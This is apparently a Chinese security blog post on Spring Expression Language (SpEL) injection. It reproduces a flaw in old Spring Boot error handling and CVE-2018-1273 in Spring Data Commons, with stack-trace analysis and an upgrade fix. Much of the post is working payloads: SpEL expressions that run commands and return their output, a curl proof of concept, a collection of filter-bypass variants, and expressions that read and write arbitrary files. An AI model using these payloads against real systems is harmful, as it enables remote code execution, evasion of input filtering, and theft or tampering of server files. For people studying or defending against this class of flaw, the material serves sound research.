前言
主要記載一下SpEL表示式的學習和研究筆記,主要是發現了一個不受限制的回顯表示式,完善了一下基於nio做檔案讀寫的表示式,直接看poc可以跳轉到文章最後。
環境
springboot 2.5.3
springboot 1.2.0.RELEASE
cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273
jdk 1.8u40
基礎學習和回顯實驗
這一章節主要介紹和記錄一下SpEL的基礎語法,然後探索一下SpEL注入實現命令執行後的回顯。
語法基礎
由於tomcat對GET請求中的| {} 等特殊字元存在限制(RFC 3986),所以使用POST方法傳遞引數,controller程式碼如下
@Controller
@RequestMapping("test")
public class TestController {
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) expression.getValue();
out = out.concat(" get");
return out;
}
}
由於getValue中沒有傳入引數,所以會從預設容器,也就是spring容器:ApplicationContext中獲取;如果給定了容器,則會向具體的容器中獲取。簡單的實驗環境就搭起來了,然後試試常用的SpEL語法
'aaa',表示字串aaa
T(類名),可以指定使用一個類的類方法
T(java.lang.Runtime).getRuntime().exec("calc")
這裡後端會執行語句,然後由於型別轉換問題出現報錯,所以沒有返回值,springboot丟擲空白頁和500,但是計算器依然彈出。
new 類名,可以直接new一個物件,再執行其中的方法
可見直接new一個物件執行其中的方法,殺傷力極大!需要注意的是,類名最好用全限類名,也就是具體到某個包,不然會因為找不到具體類而報錯。
#{…} 用於執行SpEl表示式,並將內容賦值給屬性
${…} 主要用於載入外部屬性檔案中的值
兩者還可以混合使用,但需要注意的是{}中的內容必須符合SpEL表示式。這裡需要換一下SpEL的寫法,否則會因為沒有使用模板解析表示式,在傳入#{後出現報錯。
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
Integer out = (Integer) expression.getValue();
return Integer.toString(out);
}
現在可以使用#{}和${}了
然後就是SpEL表示式通過xml配置和註解的使用,這裡就不詳細記錄了,文件很多,我們常用的攻擊方法也不會涉及到這一步。
回顯實驗
前面可以看到,通過SpEL可以執行系統命令,那麼如何在一行SpEL語句中獲得命令執行的回顯呢?看了一下網上大佬們的思路,見http://rui0.cn/archives/1043
- 使用commons-io這個元件實現回顯,這種方式會受限於目標伺服器是否存在這個元件,springboot預設環境下都沒有用到這個元件。。
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
- 使用jdk>=9中的JShell,這種方式會受限於jdk的版本問題
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
難道jdk原生的類沒有辦法實現回顯的輸出嗎?我找了,還真有
BufferedReader
直接給payload
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
原理很簡單,就不多介紹了,這種方式缺點也很明顯,只能讀取一行,如果執行dir ./命令就涼了,但單行輸出還是可以用的
Scanner
payload如下
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
原理在於Scanner#useDelimiter方法使用指定的字串分割輸出,所以這裡給一個亂七八糟的字串即可,就會讓所有的字元都在第一行,然後執行next方法即可獲得所有輸出。就是稍微難看了點:)
SpEL漏洞復現
首先時低版本下springboot中的錯誤處理導致的SpEL漏洞
低版本SpringBoot中IllegalStateException
影響版本:
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
修改pom.xml中的配置
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
再改一下controller
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
throw new IllegalStateException(string);
}
post傳入SpEL表示式:
可見直接解析了資料,再來試試其它payload呢
很奇怪,表示式沒什麼問題,居然報錯了,而且還不是springboot的報錯頁面。顯然需要跟進springboot中的原始碼,看看發生了什麼。剛剛的輸入產生的報錯呼叫棧如下:
org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
省略下方tomcat呼叫棧
可以看到,丟擲報錯之後,會從控制器dispatcherServlet捕獲到程式丟擲錯誤,從其doDispatch方法呼叫到其reder方法,那我們在render方法中打個斷點往下除錯一下,看看發生了什麼
render方法中,會先獲取View物件,實際獲取到的是spring中自動處理錯誤的view物件(ErrorMvcAutoConfiguration$SpelView),看類名也就知道其大概意思了,也就是返回報錯情況下的試圖。跟進一下view.render方法
這裡的邏輯也比較簡單,繼續跟進replacePlaceholders方法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
程式碼比較簡單就不截圖了,可見又呼叫了paseStringValue方法,繼續跟進paseStringValue方法,就會看到重點邏輯了
再看看strVal
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
這裡需要注意末尾有個message,它就是前面的報錯內容。這裡的邏輯是在返回的頁面內容找到${,這一步其實就是為了找到需要替換的位置,為替換成後面的引數做準備,然後進入while迴圈,這裡意思也很明顯,找到了需要替換的位置,然後把具體的值替換到result中。 而result是StringBuilder類,所以替換其中的字串自然要用replace方法,那我們從replace倒推一下就好了。很方便就可以找到具體的值propVal是從palaceholderResovler.resolvePlaceholder
中獲取的,先跟進一下resolvePlaceholder方法
直接可以看到我們熟悉的SpEL表示式,而從context中獲取message,也就是我們的輸入,然後使用HtmlUtils.htmlEscape這個靜態方法進行過濾,跟進一下這個方法
可以看到這個方法的邏輯是遍歷每個字元,然後根據convertToReference方法進行替換,講替換後的字元新增到最後的輸出中。繼續跟進一下convertToReference方法
該方法對普通的單雙引號、尖括號和&進行了替換,然後對特殊的char也進行了一定的替換,這類就不具體看了。回到我們前面的message獲取
這裡可以看到replace前,再執行了一次parseStringValue方法,而我們傳入的引數變成了${new java.lang.ProcessBuilder("calc").start()}
很明顯雙引號被編碼了,由於parseStringValue是根據${來找SpEL表示式的,所以傳入#{會無效。進入resolvePlaceholder方法時,引數就變成了new java.lang.ProcessBuilder("calc").start()
由於雙引號被編碼,出現了&(SpEL中不允許的字元),所以直接表示式無法被執行。到這裡就解開了前面那個payload無效的原因。
到這裡不僅搞清楚低版本springboot丟擲異常時,可能會被SpEL注入攻擊的原理,也找到了payload被過濾的具體方式。下面來繞過一下就好了
因為不能出現單雙引號,所以藉助一些String類的特性,可以傳入byte陣列,payload如下:
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
如果直接傳入#{xx},或者new xxx並不會執行SpEL,原理前面也從原始碼中看到了。
防禦或修復方案
升級springboot版本即可,在高版本中,處理傳入的引數時,不會迴圈根據${}去找值,也就避免了利用message獲取到丟擲的錯誤內容後,將內容再根據${}取得其中的值丟給SpEL執行,從而消除了這種威脅。
CVE-2018-1273 Spring Data Commons RCE
測試環境https://github.com/wearearima/poc-cve-2018-1273
POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
用hackbar打一下這個poc
彈出計算器,從IDEA裡面看呼叫棧如下
org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
下面太長省略了
可以看到,SpEL的觸發是從spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue
開始的,那我們找到這裡的原始碼,看看具體咋回事
可以看到具體操作是使用PARSER.parseExpression(propertyName),然後使用expression.setValue(context, value)觸發SpEL注入,也就是說這裡先對引數中給的key->value對中的key進行SpEL解析,最終造成SpEL注入。那麼這種引數設定或繫結是如何觸發的呢?
回溯呼叫棧可以看到這裡是data-commons這個包設定的自動化引數繫結,將引數的key->value傳了進去,然後到達前面的SpEL注入攻擊觸發點。
SpEL變形和bypass的tips
原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
bypass
- 反射呼叫
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文環境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射呼叫+字串拼接,繞過正則過濾
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文環境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
- 繞過getClass(過濾
''.getClass 替換為 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
需要注意,這裡的14可能需要替換為15,不同jdk版本的序號不同
- url編碼繞過
// 當執行的系統命令被過濾或者被URL編碼掉時,可以通過String類動態生成字元
// byte陣列內容的生成後面有指令碼
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char轉字串,再字串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
- JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
- JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
- JavaScript+URL編碼
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
- Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
以下tips來自https://landgrey.me/blog/15/
- 繞過T( 過濾
T%00(new)
這涉及到SpEL對字元的編碼,%00會被直接替換為空
- 使用Spring工具類反序列化,繞過new關鍵字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以結合CC鏈食用
- 使用Spring工具類執行自定義類的靜態程式碼塊
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
需要在自定義類寫靜態程式碼塊 static{}
讀寫檔案和回顯
- 無版本限制回顯
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
在這個思路上,可以對new、ProcessBuilder等關鍵字使用反射繞過
- nio 讀檔案
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
- nio 寫檔案
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)